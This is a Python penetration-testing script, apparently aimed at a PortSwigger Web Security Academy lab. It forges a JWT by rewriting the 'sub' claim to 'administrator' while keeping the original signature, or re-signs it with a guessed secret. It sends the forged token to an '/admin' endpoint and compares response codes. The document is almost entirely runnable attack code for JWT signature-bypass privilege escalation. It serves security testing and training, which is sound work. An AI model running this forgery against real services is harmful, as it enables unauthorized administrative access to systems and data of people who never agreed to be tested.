#!/usr/bin/env python
"""
Utility Python3 script to manually alter a JWT token claims/headers in order to manually inspect the behavior of a service validating/using the token.

Useful to analyze specific cases returning a different/strange response content/code/length during the application of the 
Attack Methodology created by TICARPI's JWT tool as well as the attacks described on the PortSwigger WebAcademy JWT course.

Dependencies:
    pip install requests pyjwt

References:
    https://pyjwt.readthedocs.io/en/stable/usage.html
    https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
    https://github.com/righettod/toolbox-pentest-web/blob/master/docs/README.md#audit-jwt-token
    https://portswigger.net/web-security/jwt

JWT official claims list:
    https://www.iana.org/assignments/jwt/jwt.xhtml
    https://datatracker.ietf.org/doc/html/rfc7519
"""

import requests
import jwt

# Context and working mode
set_token_as_bearer_http_header = False
original_token = "eyJra..."
test_service_url = "https://0a83001704f8322fc03ed0af00aa0039.web-security-academy.net/admin"
token_cookie_name = "session"
additional_required_extra_cookies = ""

# Requests Session context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {"http": "http://127.0.0.1:9080", "https": "http://127.0.0.1:9080"}  # to inspect the reply and perform operation like client cert auth...
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
session = requests.Session()
session.verify = False
session.proxies.update(proxies)
req_base_headers = {"User-Agent": ua, "Cookie": additional_required_extra_cookies}

# Extract part of the original token
parts = original_token.split(".")
header_original = parts[0]
payload_original = parts[1]
signature = parts[2]
decoded_token = jwt.decode(original_token, options={"verify_signature": False})

# Update the token claims of the PAYLOAD part
print("[+] Token claim alteration in the PAYLOAD part of the token...")
payload_claims_to_change = {"sub": "administrator"}
for k, v in payload_claims_to_change.items():
    old = decoded_token[k]
    new = v
    decoded_token[k] = new
    print(f"Claim '{k}' changed from '{old}' to '{new}'.")


# OPTION 1: ReAssemble the token keeping the original signature and header
token = jwt.encode(decoded_token, "xxxx")
p = token.split(".")
p[0] = header_original
p[2] = signature
altered_token = ".".join(p)

# OPTION 2: ReAssemble the token with a new symmetric signature - require to know the secret
# altered_token = jwt.encode(decoded_token, "secret")

# Test the Original and the Modified tokens against the test service
print("[+] Token test against the test service...")
req_headers = dict(req_base_headers)
if set_token_as_bearer_http_header:
    req_headers["Authorization"] = f"Bearer {altered_token}"
else:
    req_headers["Cookie"] = req_headers["Cookie"] + f";{token_cookie_name}={altered_token}"
resp = session.get(test_service_url, headers=req_headers)
print(f"Test with the modified jwt token HTTP RC: {resp.status_code}")
session.cookies.clear()
req_headers = dict(req_base_headers)
if set_token_as_bearer_http_header:
    req_headers["Authorization"] = f"Bearer {original_token}"
else:
    req_headers["Cookie"] = req_headers["Cookie"] + f";{token_cookie_name}={original_token}"
resp = session.get(test_service_url, headers=req_headers)
print(f"Test with the original jwt token HTTP RC: {resp.status_code}")
